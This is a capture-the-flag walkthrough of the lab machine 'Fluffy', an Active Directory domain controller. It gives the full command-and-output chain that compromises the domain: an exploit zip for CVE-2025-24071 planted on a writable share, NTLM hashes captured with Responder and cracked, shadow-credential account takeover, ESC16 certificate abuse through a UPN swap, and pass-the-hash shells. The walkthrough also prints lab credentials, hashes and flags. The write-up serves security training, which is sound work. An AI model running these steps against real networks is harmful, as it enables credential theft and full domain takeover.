Fluffy
Summary
Using the credentials we are giving at the start, we can enumerate a smb share with confidential documents, pointing us at a critical vulnerability. By abusing it, we can take over another account, with elevated privileges over a set of service accounts. Since one of them can abuse ESC16 of a vulnerable certificate, we can chain a few property changes to request the hash of the Administrator account, granting us access over the entire domain and its domain controller.
Solution
Reconnaissance
For this challenge, we are given a set of credentials with which we can enumerate the AD environment j.fleischman:J0elTHEM4n1990!. Let’s start with a Nmap scan.
nmap -sC -sV 10.10.11.69
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-13 12:52 CEST
Nmap scan report for 10.10.11.69
Host is up (0.044s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-13 17:53:05Z)
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after: 2026-04-17T16:04:17
|_ssl-date: 2025-07-13T17:54:28+00:00; +7h00m01s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-13T17:54:27+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after: 2026-04-17T16:04:17
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after: 2026-04-17T16:04:17
|_ssl-date: 2025-07-13T17:54:28+00:00; +7h00m01s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after: 2026-04-17T16:04:17
|_ssl-date: 2025-07-13T17:54:27+00:00; +7h00m00s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 6h59m59s
| smb2-time:
| date: 2025-07-13T17:53:47
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
While this scan confirm the fact, that we are dealing with a domain controller, it doesn’t offer anything but the usual insights. However, let’s prepare our hosts for Kerberos interaction, which we will need later on by sync our time and adding the domain fluffy.htb, as well as the domain controller DC01.fluffy.htb to our /etc/hosts file.
sudo ntpdate 10.10.11.69
Since we already have credentials of a domain user, let’s continue our enumeration by retrieve some information about the domain configuration. For this, we can use BloodHound.py and load the retrieved data into BloodHound.
bloodhound-python -u j.fleischman -p J0elTHEM4n1990! -d fluffy.htb -ns 10.10.11.69 -c all
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: fluffy.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc01.fluffy.htb:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc01.fluffy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.fluffy.htb
INFO: Found 10 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.fluffy.htb
INFO: Done in 00M 15S
Upon analysis in BloodHound, it becomes apparent that our user as no outbound object control, meaning we are in no control of any other accounts or groups.

The next obvious step is enumeration of samba shares with SMBMap.
smbmap -H 10.10.11.69 -u "j.fleischman" -p "J0elTHEM4n1990\!"
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] IP: 10.10.11.69:445 Name: 10.10.11.69 Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
IT READ, WRITE
NETLOGON READ ONLY Logon server share
SYSVOL READ ONLY Logon server share
Besides the AD-based default shares, there is a share called IT. Let’s check it out with SMBclient.
smbclient //10.10.11.69/IT -U "j.fleischman"
Password for [WORKGROUP\j.fleischman]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun Jul 13 21:05:48 2025
.. D 0 Sun Jul 13 21:05:48 2025
Everything-1.4.1.1026.x64 D 0 Fri Apr 18 17:08:44 2025
Everything-1.4.1.1026.x64.zip A 1827464 Fri Apr 18 17:04:05 2025
KeePass-2.58 D 0 Fri Apr 18 17:08:38 2025
KeePass-2.58.zip A 3225346 Fri Apr 18 17:03:17 2025
Upgrade_Notice.pdf A 169963 Sat May 17 16:31:07 2025
5842943 blocks of size 4096. 2021575 blocks available
smb: \>
Everything and KeePass seem to be standard binaries of public applications and not of much interest to us. Instead, let’s download Upgrade_Notice.pdf and view it.
User Flag

This looks like some sort of old pentesting report, which contains a few vulnerabilities, presumably affecting the domain controller. This makes it quite easy for us, as we only need to check for public exploits for these CVEs. Luckily, there is one for CVE-2025-24071, a critical vulnerability in Windows File Explorer, which allows us to intercept NTLM hashes. Downloading the exploit and executing it against the target yields a malicious .zip archive, which we need to upload to a writable smb share.
python3 exploit.py -i 10.10.16.2
[*] Generating malicious .library-ms file...
[+] Created ZIP: output/malicious.zip
[-] Removed intermediate .library-ms file
[!] Done. Send ZIP to victim and listen for NTLM hash on your SMB server.
Since SMBMap already told us that the IT share is writable with our current access level, we can use it for delivering the exploit.
smbclient //10.10.11.69/IT -U "j.fleischman"
Password for [WORKGROUP\j.fleischman]:
Try "help" to get a list of possible commands.
smb: \> put malicious.zip
putting file malicious.zip as \malicious.zip (1.9 kb/s) (average 1.9 kb/s)
smb: \>
Now we only need to start Responder in order to intercept the NTLM hash.
sudo responder -I tun0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.6.0
<cut>
[SMB] NTLMv2-SSP Client : 10.10.11.69
[SMB] NTLMv2-SSP Username : FLUFFY\p.agila
[SMB] NTLMv2-SSP Hash : p.agila::FLUFFY:429ef28a09e7e20f:C2F674D64D8BC5BDE05ED071C80F4FD8:010100000000000000647D0402F4DB019706A729515F472700000000020008004D0056005300470001001E00570049004E002D0050004100430034004A0052005400300038004800370004003400570049004E002D0050004100430034004A005200540030003800480037002E004D005600530047002E004C004F00430041004C00030014004D005600530047002E004C004F00430041004C00050014004D005600530047002E004C004F00430041004C000700080000647D0402F4DB010600040002000000080030003000000000000000010000000020000075505A3DA541ADA6E58B8BE25308DFA07FCAE3BF2B5114EEA5A2B1871EED5E010A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310036002E0032000000000000000000
<cut>
After a short while, the exploit triggers and we get the hash. We can simply crack this with Hashcat, which yields access to a new user account.
hashcat hash -m 5600 /usr/share/wordlists/rockyou.txt
<cut>
P.AGILA:<cut>:prometheusx-303
A second look at the bloodhound graph tells us, that the compromised user p.agila has indirect generic write access to three service account.

First, we need to add our user to the group Service Accounts, so we can abuse the generic write privilege over the group. This is easily done following BloodHound’s instructions and Net.
net rpc group addmem "Service Accounts" "p.agila" -U "fluffy.htb"/"p.agila"%"prometheusx-303" -S 10.10.11.69
Using a similar command, we can check if it worked.
net rpc group members "Service Accounts" -U "fluffy.htb"/"p.agila"%"prometheusx-303" -S 10.10.11.69
FLUFFY\ca_svc
FLUFFY\ldap_svc
FLUFFY\p.agila
FLUFFY\winrm_svc
Great, now we can take over 3 different service accounts. However, 2 accounts look specifically promising: winrm_svc likely gives us shell access to the target, and ca_svc likely has privileges over domain certificates. For now, let’s focus on the first option. Again, we can follow BloodHound instructions and use Certipy-ad for this purpose, adding shadow credentials to the account.
certipy-ad shadow auto -u "p.agila@fluffy.htb" -p "prometheusx-303" -account "winrm_svc" -dc-ip 10.10.11.69
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'winrm_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'b7067fef-7a6a-17ce-afac-e559c7facd27'
[*] Adding Key Credential with device ID 'b7067fef-7a6a-17ce-afac-e559c7facd27' to the Key Credentials for 'winrm_svc'
[*] Successfully added Key Credential with device ID 'b7067fef-7a6a-17ce-afac-e559c7facd27' to the Key Credentials for 'winrm_svc'
[*] Authenticating as 'winrm_svc' with the certificate
[*] Certificate identities:
[*] No identities found in this certificate
[*] Using principal: 'winrm_svc@fluffy.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'winrm_svc.ccache'
[*] Wrote credential cache to 'winrm_svc.ccache'
[*] Trying to retrieve NT hash for 'winrm_svc'
[*] Restoring the old Key Credentials for 'winrm_svc'
[*] Successfully restored the old Key Credentials for 'winrm_svc'
[*] NT hash for 'winrm_svc': 33bd09dcd697600edf6b3a7af4875767
Using Evil-WinRM with the NT hash we just obtained, we get shell access to the target and can claim the user flag.
evil-winrm -i 10.10.11.69 -u winrm_svc -H 33bd09dcd697600edf6b3a7af4875767
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\winrm_svc\Documents>
3ab75cc66fe9f805ef47c1ebd3134028
Root Flag
Now, it’s time to look at the other account we can compromise: ca_svc. We can abuse the exact same relationship we did before using Certipy-ad.
certipy-ad shadow auto -u "p.agila@fluffy.htb" -p "prometheusx-303" -account "ca_svc" -dc-ip 10.10.11.69
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'f54f4bca-9810-2aff-e748-7bc5242255ec'
[*] Adding Key Credential with device ID 'f54f4bca-9810-2aff-e748-7bc5242255ec' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID 'f54f4bca-9810-2aff-e748-7bc5242255ec' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Certificate identities:
[*] No identities found in this certificate
[*] Using principal: 'ca_svc@fluffy.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'ca_svc.ccache'
[*] Wrote credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': ca0f4f9e9eb8a092addf53bb03fc98c8
As I mentioned previously, it is highly likely that an account with ca has some sort of relationship to AD certificates. While we could confirm this over group memberships in BloodHound, we could also just directly check for vulnerable certificates, once again using Certipy-ad.
certipy-ad find -dc-ip 10.10.11.69 -u ca_svc -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 -vulnerable -stdout
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 14 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'fluffy-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'fluffy-DC01-CA'
[*] Checking web enrollment for CA 'fluffy-DC01-CA' @ 'DC01.fluffy.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
0
CA Name : fluffy-DC01-CA
DNS Name : DC01.fluffy.htb
Certificate Subject : CN=fluffy-DC01-CA, DC=fluffy, DC=htb
Certificate Serial Number : 3670C4A715B864BB497F7CD72119B6F5
Certificate Validity Start : 2025-04-17 16:00:16+00:00
Certificate Validity End : 3024-04-17 16:11:16+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Disabled Extensions : 1.3.6.1.4.1.311.25.2
Permissions
Owner : FLUFFY.HTB\Administrators
Access Rights
ManageCa : FLUFFY.HTB\Domain Admins
FLUFFY.HTB\Enterprise Admins
FLUFFY.HTB\Administrators
ManageCertificates : FLUFFY.HTB\Domain Admins
FLUFFY.HTB\Enterprise Admins
FLUFFY.HTB\Administrators
Enroll : FLUFFY.HTB\Cert Publishers
[!] Vulnerabilities
ESC16 : Security Extension is disabled.
[*] Remarks
ESC16 : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
Certificate Templates : [!] Could not find any certificate templates
As it seems, we were correct! The certificate template above this vulnerable to ESC16. Since the ESC vulnerabilities are well documented, we can simply follow this repository to escalate our privileges to Administrator, exclusively using Certipy-ad. First, we need to change the UPN of an AD account we control. Let’s choose ca_svc.
certipy-ad account -dc-ip 10.10.11.69 -u ca_svc -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 -user 'ca_svc' -upn 'administrator' update
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_svc':
userPrincipalName : administrator
[*] Successfully updated 'ca_svc'
Now, we need to obtain valid credentials in form of a Kerberos ticket. Even though we already have one, we need to obtain a new one, with the updated values.
certipy-ad shadow -dc-ip 10.10.11.69 -u p.agila -p 'prometheusx-303' -account 'ca_svc' auto
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'ac5f74ad-1732-9e1c-dc5b-308f7c51b775'
[*] Adding Key Credential with device ID 'ac5f74ad-1732-9e1c-dc5b-308f7c51b775' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID 'ac5f74ad-1732-9e1c-dc5b-308f7c51b775' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Certificate identities:
[*] No identities found in this certificate
[*] Using principal: 'ca_svc@fluffy.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'ca_svc.ccache'
File 'ca_svc.ccache' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': ca0f4f9e9eb8a092addf53bb03fc98c8
To use the obtained ticket, we need to export it first.
export KRB5CCNAME=ca_svc.ccache
Now, we can request the certificate and private key of ca_svc. Due to the UPN change, this process will fall back to the account Administrator.
certipy-ad req -k -dc-ip '10.10.11.69' -target 'DC01.fluffy.htb' -ca 'fluffy-DC01-CA' -template 'User'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[!] DC host (-dc-host) not specified and Kerberos authentication is used. This might fail
[*] Requesting certificate via RPC
[*] Request ID is 16
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
Afterwards, we need to change the UPN of ca_svc back to its original value, so we can actually authenticate to the correct account. Now, our certificate only points at Administrator.
certipy-ad account -dc-ip 10.10.11.69 -u ca_svc -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 -user 'ca_svc' -upn 'ca_svc' update
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_svc':
userPrincipalName : ca_svc
[*] Successfully updated 'ca_svc'
Finally, we can use this certificate to gain access to the account. Since we already have a certificate, the AD Domain is convinced that we eligible to the NTLM hash of Administrator, meaning we can request it.
certipy-ad auth -dc-ip 10.10.11.69 -pfx administrator.pfx -username administrator -domain fluffy.htb
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator'
[*] Using principal: 'administrator@fluffy.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@fluffy.htb': aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e
Using this hash, we can use Evil-WinRM to get a shell on the target and claim the root flag.
evil-winrm -i 10.10.11.69 -u administrator -H 8da83a3fa618b6e3a00e93f676c92a6e
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
67e3ee25005d653c379cda20897d9605